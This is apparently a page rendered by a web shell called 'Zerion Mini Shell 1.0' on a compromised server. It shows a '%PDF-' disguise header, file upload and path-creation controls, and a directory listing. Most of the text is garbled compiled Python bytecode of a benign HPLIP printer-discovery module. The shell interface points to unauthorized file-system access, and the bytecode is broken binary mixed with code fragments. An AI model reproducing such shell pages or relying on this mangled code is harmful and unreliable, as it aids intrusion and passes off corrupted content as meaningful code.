%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/hplip/base/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/hplip/base/__pycache__/avahi.cpython-312.pyc

�

=	f��N�ddlZddl�ddlZddlmZmZddlmZddlm	Z	dd�Z
y)	�N�)�*)�Popen�PIPE)�utils)�to_string_utf8c
���i}tjd�dk(rtjd�|St	gd�t
��}t
|j�d�}|j�D�]<}|jd�s�|jd�}|d	d
k(s�0t|djd��d
k(s�Q|d}|d}	tj||dddtj�}	|	r�ddddddddd�}
||
d<|djdd�|
d<|dj!�j#d�jd�}|D]Q}|jdd�\}
}|jdd�}t|�d	kr�9|\}
}|
dk(s�D||
d<d|z|
d<n|
||
d<��?tj'dt|�z�|S#tj$$rY��ywxYw)N�avahi-browse�zAvahi-browse is not installed)r
z-kprtz
_printer._tcp)�stdoutr�=�;��IPv4��.��r�0)�num_devices�	num_ports�
product_id�mac�status_code�device2�device3�note�ip�z.local�hn�	�"z" "�ty�mdnsz'MFG:Hewlett-Packard;MDL:%s;CLS:PRINTER;�device1zFound %d devices)r�which�log�errorrrr�communicate�
splitlines�
startswith�split�len�socket�getaddrinfo�
AI_ADDRCONFIG�replace�rstrip�strip�gaierror�debug)�ttl�timeout�
found_devices�p�output�line�bitsr�port�res�y�details�item�key�value�keyvalues                �/usr/share/hplip/base/avahi.py�detectNetworkDevicesrFs����M��{�{�>�"�b�(��	�	�1�2���	�8��F�A�
�A�M�M�O�A�.�
/�F��!�!�#����?�?�3���:�:�c�?�D��A�w�&� �S��a����s�);�%<��%A��!�W���A�w��� �,�,�R��q�!�Q��@T�@T�U�C��-.�Q�r�Z\�,-�#�#�WY�[��"$��$��"&�q�'�/�/�(�B�"?��$��"&�q�'�.�.�"3�"9�"9�3�"?�"E�"E�e�"L��$+�
&�D�)-���C��);�J�C��'+�z�z�#�q�'9�H�"�H�~��1� (�)1�J�C��"�d�{�,1��&�	�/X�[`�/`��)�� %�
&�23�
�a��g�.��7�>�I�I� �3�}�#5�5�6����	������s�
CG�G�G+�*G+)r�
)�sys�gr.�
subprocessrrrr�sixextrrF��rE�<module>rNs��,��
�"��#�+rM

Zerion Mini Shell 1.0